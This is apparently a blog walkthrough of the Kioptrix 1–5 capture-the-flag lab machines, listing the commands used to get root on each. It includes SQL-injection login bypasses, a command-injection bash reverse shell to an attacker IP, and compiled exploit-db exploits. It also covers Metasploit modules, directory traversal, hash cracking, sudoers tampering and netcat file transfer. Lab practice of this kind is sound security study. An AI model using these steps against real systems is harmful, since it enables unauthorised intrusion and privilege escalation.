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Cyber security write-ups, exploits, and more

Kioptrix Write-Up

What follows is a write-up of several vulnerable machines, <u>Kioptrix #1 through</u> #5.

The object of the game is to acquire root access via any means possible. The purpose of the games is to practice techniques in vulnerability assessment and exploitation. There are multiple ways to get root access and compromise the system.

These machines are run in a host-only setup, as they are full of vulnerabilities and internet access would be dangerous.

[*] STATUS: COMPLETED

Kioptrix 1 Write-Up

1) nmap -sS -sV -Pn 192.168.189.0/24

Scan for address and open ports

Note the following two services:

Samba smbd

Apache httpd 1.3.20 ((Unix) (Red-Hat/Linux) mod_ssl/2.8.4 OpenSSL/0.9.6b)

These two could be our way in

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- 3) nikto -h 192.168.189.185
- # We find a lot of vulnerabilities
- 4) Search Google for: Samba 2.2.1 exploit
- # The first result is a verified remote execution exploit
- 5) wget https://www.exploit-db.com/download/10
- 6) mv 10 samba_228_remote.c
- 7) gcc -o samba_228_remote samba_228_remote.c
- 8)./samba 228 remote
- 9)./samba_228_remote -b 0 -c 192.168.189.130 192.168.189.185
- 10) whoami
- # We got root
- 11) cat /var/mail/root
- # We own this machine

Kioptrix 2 Write-Up

1) nmap -sS -sV -Pn 192.168.0.0/24

Scan for address and open ports

Note the following three services:

Apache httpd 2.0.52 ((CentOS))

CUPS 1.1

MySQL (unauthorized)

These three could be our way in

"

2) Browse to: 192.168.0.20

username: admin password: 'or '1'='1

- 3) ping localhost; ls
- # The application is vulnerable to command injection
- 4) nc -n -v -l -p 443
- 5) In the browser: ping localhost; bash -i >& /dev/tcp/192.168.0.19/443 0>&1
- 6) id
- # We got a shell, but not as a privileged user
- 7) Search: linux centos exploit
- # The second result is for privilege escalation just what we need
- 8) cd/tmp
- 9) wget https://www.exploit-db.com/download/9545 -no-check-certificate
- 10) mv 9545 centos escalate.c
- 11) gcc -o centos_escalate centos_escalate.c
- 12)./centos_escalate
- 13) whoami
- # We got root

Kioptrix 3 Write-Up

- 1) nmap -sS -sV -Pn 192.168.189.0/24
- 2) gedit /etc/hosts

Add:

<ip> kioptrix3.com

192.168.189.195 kioptrix3.com

- 3) Browse to kioptrix3.com
- 4) Right-click -> View Page Source Code
- # Notice the use of LotusCMS
- 5) Search: lotuscms exploit
- # The third result is for eval() remote command execution
- # Exploit: https://www.exploit-db.com/exploits/18565/

- 8) use exploit/multi/http/lcms php exec
- 9) options
- 10) set RHOST 192.168.189.195
- 11) set URI /
- 12) exploit
- 13) ls
- # Remember they were talking about the gallery
- # Let's check it out
- 14) ls gallery
- 15) cat/gallery.gconfig.php
- # Notice the credentials: root:fuckeyou
- 16) Browse to: http://kioptrix3.com/phpmyadmin/index.php -> Enter the above credentials
- 17) Gallery -> dev_accounts
- # Note the hashes
- 17) Browse to: https://hashkiller.co.uk/md5-decrypter.aspx

Enter the hash: 5badcaf789d3d1d09794d8f021f40f0e

Result: starwars

- 18) ssh loneferret@192.168.189.195 -> Enter the password: starwars
- 19) cat CompanyPolicy.README
- 20) /usr/local/bin/ht
- # I got an error: Error opening terminal: xterm-256color
- # I solved it by entering: export TERM=xterm
- 21) /usr/local/bin/ht
- 22) Fn+F3 -> /etc/sudoers -> Enter
- 23) Under 'User privilege specification' add to loneferret: /bin/bash
- 24) sudo /bin/bash
- 25) whoami
- # We got root
- 26) cd /root
- 27) cat Congrats.txt

```
1) nmap -sS -sV -Pn 192.168.189.0/24
Note the following services:
OpenSSH 4.7p1 Debian 8ubuntu1.2 (protocol 2.0)
Apache httpd 2.2.8 ((Ubuntu) PHP/5.2.4-2ubuntu5.6 with Suhosin-Patch)
Samba smbd 3.X – 4.X (workgroup: WORKGROUP)
They could be our way in.
")
2) enum4linux -a 192.168.189.196
")
Note the users:
Account: nobody Name: nobody
Account: robert Name: ,,,
Account: root Name: root
Account: john Name: ,,,
loneferret Name: loneferret,,,
We can try using one of these accounts
")
3) Browse to: 192.168.189.196
user: robert
pass: 'or '1'='1
# Note the password: ADGAdsafdfwt4gadfga==
# Since ssh is also on and the web page isn't showing much else, we can try that
4) ssh robert@192.168.189.196
5)?
# Checking out what we can use
```

- # Note that MySQL is running with root privileges
- 8) mysql
- 9) select sys exec("echo 'robert ALL=(ALL) ALL'>> /etc/sudoers");
- # Adding "our" account to sudoers
- 10) exit
- 11) sudo bash
- 12) id
- # We got root
- 13) cat /root/congrats.txt

Side-note:

Initially I also searched for "ubuntu 5.6 exploit" and thought of using the

following exploit: https://www.exploit-db.com/papers/15311/

That might also be another way in.

Kioptrix 5 Write-Up

```
1) nmap -sS -sV -Pn -T4 192.168.0.0/24
```

Note the following:

Apache httpd 2.2.21 ((FreeBSD) mod_ssl/2.2.21 OpenSSL/0.9.8q DAV/2 PHP/5.3.8)

It's open in both port 80 and port 8080.

"

- 2) Browse to: 192.168.0.85
- 3) Right-click -> View Page Source Code
- # Notice: URL=pChart2.1.3/index.php"
- 4) Browse to: http://192.168.0.85/pChart2.1.3/examples/index.php
- 5) Search: pChart2.1.3
- 6) Read: https://www.exploit-db.com/exploits/31173/

Action=View&Script=%2f..%2f..%2fetc/passwd # The web app is vulnerable to directory traversal

8) Browse to: http://192.168.0.85/pChart2.1.3/examples/index.php?
Action=View&Script=%2f..%2f..%2fusr/local/etc/apache22/httpd.conf

")

Notice at the end of the file:

SetEnvIf User-Agent ^Mozilla/4.0 Mozilla4_browser

<VirtualHost *:8080>

DocumentRoot /usr/local/www/apache22/data2

<Directory "/usr/local/www/apache22/data2">

Options Indexes FollowSymLinks

AllowOverride All

Order allow, deny

Allow from env=Mozilla4 browser

</Directory>

Apparently we can get in if we set the UserAgent to Mozilla 4

")

- 9) Search: mozilla firefox 4.0 user agent string
- 10) Browse to: http://www.useragentstring.com/pages/useragentstring.php?
 name=Firefox
- 11) Ctrl-F -> mozilla/4.0 -> http://www.useragentstring.com/index.php? id=19040
- 12) In User Agent Switcher:

Edit User Agents

New

Description: Mozilla FireFox 4.0

Hear Agant.

- 13) Browse to: http://192.168.0.85:8080/
- 14) Click on 'phptax'
- 15) Open Metasploit -> search phptax -> use exploit/multi/http/phptax_exec
- 16) show options -> set RHOST 192.168.0.85 -> set RPORT 8080 -> exploit
- 17) id
- 18) uname -a
- # Getting kernel details to figure out how to do privilege escalation
- 19) Search: FreeBSD 9.0 exploit
- # The first result is what we're looking for
- # https://www.exploit-db.com/exploits/28718/
- 20) wget https://www.exploit-db.com/download/28718
- # Downloading it to our machine
- 21) mv 28718 freeBSD9_priv_esc.c
- 22) nc -lvp 8888 < freeBSD9_priv_esc.c
- # Hosting the exploit on our machine
- # We will download the file from the limited shell
- 23) nc -nv 192.168.0.87 8888 > die.c
- 24) Stop nc
- 24) gcc die.c -o die
- 25)./die
- 26) id
- # We got root
- 27) cat /root/congrats.txt
- 28) cat /root/ossec-alerts.log

")

For fun, check out how noisy we were during our attack

As the congrats.txt explains, figuring out how to approach and attack the target before actually attacking is extremely important. Otherwise you will make a lot of noise and get caught early on as a result.

")

Very fun machines to exploit. As the Kioptrix website clearly states, they are intended for beginners, hence they are easy to exploit to the seasoned security tester. A big thanks to <u>loneferret</u> for such fun yet educational challenges!

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